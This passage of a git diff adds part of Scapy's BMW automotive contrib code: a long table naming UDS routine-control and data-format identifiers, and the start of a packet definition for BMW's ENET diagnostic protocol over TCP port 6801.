+UDS_RC.routineControlIdentifiers[0xe08e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe08f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe090] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe091] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe092] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe093] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe094] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe095] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe096] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe097] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe098] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe099] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe09a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe09b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe09c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe09d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe09e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe09f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0a0] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0a1] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0a2] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0a3] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0a4] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0a5] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0a6] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0a7] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0a8] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0a9] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0aa] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0ab] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0ac] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0ad] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0ae] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0af] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0b0] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0b1] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0b2] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0b3] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0b4] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0b5] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0b6] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0b7] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0b8] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0b9] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0ba] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0bb] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0bc] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0bd] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0be] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0bf] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0c0] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0c1] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0c2] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0c3] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0c4] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0c5] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0c6] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0c7] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0c8] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0c9] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0ca] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0cb] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0cc] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0cd] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0ce] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0cf] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0d0] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0d1] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0d2] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0d3] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0d4] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0d5] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0d6] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0d7] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0d8] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0d9] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0da] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0db] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0dc] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0dd] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0de] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0df] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0e0] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0e1] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0e2] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0e3] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0e4] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0e5] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0e6] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0e7] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0e8] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0e9] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0ea] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0eb] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0ec] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0ed] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0ee] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0ef] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0f0] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0f1] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0f2] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0f3] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0f4] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0f5] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0f6] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0f7] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0f8] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0f9] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0fa] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0fb] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0fc] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0fd] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0fe] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe0ff] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe100] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe101] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe102] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe103] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe104] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe105] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe106] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe107] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe108] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe109] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe10a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe10b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe10c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe10d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe10e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe10f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe110] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe111] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe112] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe113] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe114] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe115] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe116] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe117] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe118] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe119] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe11a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe11b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe11c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe11d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe11e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe11f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe120] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe121] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe122] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe123] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe124] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe125] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe126] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe127] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe128] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe129] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe12a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe12b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe12c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe12d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe12e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe12f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe130] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe131] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe132] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe133] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe134] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe135] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe136] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe137] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe138] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe139] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe13a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe13b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe13c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe13d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe13e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe13f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe140] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe141] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe142] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe143] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe144] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe145] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe146] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe147] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe148] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe149] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe14a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe14b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe14c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe14d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe14e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe14f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe150] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe151] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe152] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe153] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe154] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe155] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe156] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe157] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe158] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe159] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe15a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe15b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe15c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe15d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe15e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe15f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe160] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe161] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe162] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe163] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe164] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe165] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe166] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe167] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe168] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe169] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe16a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe16b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe16c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe16d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe16e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe16f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe170] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe171] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe172] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe173] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe174] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe175] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe176] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe177] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe178] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe179] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe17a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe17b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe17c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe17d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe17e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe17f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe180] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe181] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe182] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe183] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe184] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe185] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe186] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe187] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe188] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe189] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe18a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe18b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe18c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe18d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe18e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe18f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe190] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe191] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe192] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe193] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe194] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe195] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe196] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe197] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe198] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe199] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe19a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe19b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe19c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe19d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe19e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe19f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1a0] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1a1] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1a2] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1a3] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1a4] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1a5] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1a6] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1a7] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1a8] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1a9] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1aa] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1ab] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1ac] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1ad] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1ae] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1af] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1b0] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1b1] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1b2] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1b3] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1b4] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1b5] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1b6] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1b7] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1b8] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1b9] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1ba] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1bb] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1bc] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1bd] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1be] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1bf] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1c0] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1c1] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1c2] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1c3] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1c4] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1c5] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1c6] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1c7] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1c8] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1c9] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1ca] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1cb] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1cc] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1cd] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1ce] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1cf] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1d0] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1d1] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1d2] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1d3] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1d4] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1d5] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1d6] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1d7] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1d8] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1d9] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1da] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1db] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1dc] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1dd] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1de] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1df] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1e0] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1e1] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1e2] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1e3] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1e4] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1e5] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1e6] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1e7] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1e8] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1e9] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1ea] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1eb] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1ec] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1ed] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1ee] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1ef] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1f0] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1f1] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1f2] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1f3] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1f4] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1f5] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1f6] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1f7] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1f8] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1f9] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1fa] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1fb] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1fc] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1fd] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1fe] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe1ff] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xf013] = "DeactivateSegeln" +UDS_RC.routineControlIdentifiers[0xf043] = "RequestDeactivateMontagemodus" +UDS_RC.routineControlIdentifiers[0xf760] = "ResetActivationline" +UDS_RC.routineControlIdentifiers[0xff00] = "eraseMemory" +UDS_RC.routineControlIdentifiers[0xff01] = "checkProgrammingDependencies" + +UDS_RD.dataFormatIdentifiers[0x0001] = "BMW_ROM_EPROM_internal" +UDS_RD.dataFormatIdentifiers[0x0002] = "BMW_ROM_EPROM_external" +UDS_RD.dataFormatIdentifiers[0x0003] = "BMW_NVRAM_characteristicZones_DTCmemory" # noqa E501 +UDS_RD.dataFormatIdentifiers[0x0004] = "BMW_RAM_internal_shortMOV" +UDS_RD.dataFormatIdentifiers[0x0005] = "BMW_RAM_external_xDataMOV" +UDS_RD.dataFormatIdentifiers[0x0006] = "BMW_flashEPROM_internal" +UDS_RD.dataFormatIdentifiers[0x0007] = "BMW_UIFmemory" +UDS_RD.dataFormatIdentifiers[0x0008] = "BMW_vehicleOrderDataMemory_onlyToBeUsedByDS2_ECUs" # noqa E501 +UDS_RD.dataFormatIdentifiers[0x0009] = "BMW_flashEPROM_external" +UDS_RD.dataFormatIdentifiers[0x000b] = "BMW_RAM_internal_longMOVatRegister" +UDS_RD.dataFormatIdentifiers[0x0010] = "NRV and noEncryptingMethod" + +UDS_RSDBI.dataIdentifiers = UDS_RDBI.dataIdentifiers diff --git a/libs/scapy/contrib/automotive/bmw/enet.py b/libs/scapy/contrib/automotive/bmw/enet.py new file mode 100755 index 0000000..487cd24 --- /dev/null +++ b/libs/scapy/contrib/automotive/bmw/enet.py @@ -0,0 +1,95 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.description = ENET - BMW diagnostic protocol over Ethernet +# scapy.contrib.status = loads + +import struct +import socket +from scapy.packet import Packet, bind_layers, bind_bottom_up +from scapy.fields import IntField, ShortEnumField, XByteField +from scapy.layers.inet import TCP +from scapy.supersocket import StreamSocket +from scapy.contrib.automotive.uds import UDS +from scapy.contrib.isotp import ISOTP +from scapy.error import Scapy_Exception +from scapy.data import MTU + + +""" +BMW specific diagnostic over IP protocol implementation ENET +""" + +# #########################ENET################################### + + +class ENET(Packet): + name = 'ENET' + fields_desc = [ + IntField('length', None), + ShortEnumField('type', 1, {0x01: "message", + 0x02: "echo"}), + XByteField('src', 0), + XByteField('dst', 0), + ] + + def hashret(self): + hdr_hash = struct.pack("B", self.src ^ self.dst) + pay_hash = self.payload.hashret() + return hdr_hash + pay_hash + + def answers(self, other): + if other.__class__ == self.__class__: + return self.payload.answers(other.payload) + return 0 + + def extract_padding(self, s): + return s[:self.length - 2], s[self.length - 2:] + + def post_build(self, pkt, pay): + """ + This will set the LenField 'length' to the correct value. + """ + if self.length is None: + pkt = struct.pack("!I", len(pay) + 2) + pkt[4:] + return pkt + pay + + +bind_bottom_up(TCP, ENET, sport=6801) +bind_bottom_up(TCP, ENET, dport=6801) +bind_layers(TCP, ENET, sport=6801, dport=6801) +bind_layers(ENET, UDS) + + +# ########################ENETSocket################################### + + 